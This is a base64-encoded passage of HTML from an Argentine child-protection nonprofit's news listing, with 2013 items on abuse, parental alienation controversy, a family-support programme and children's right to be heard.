CAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyI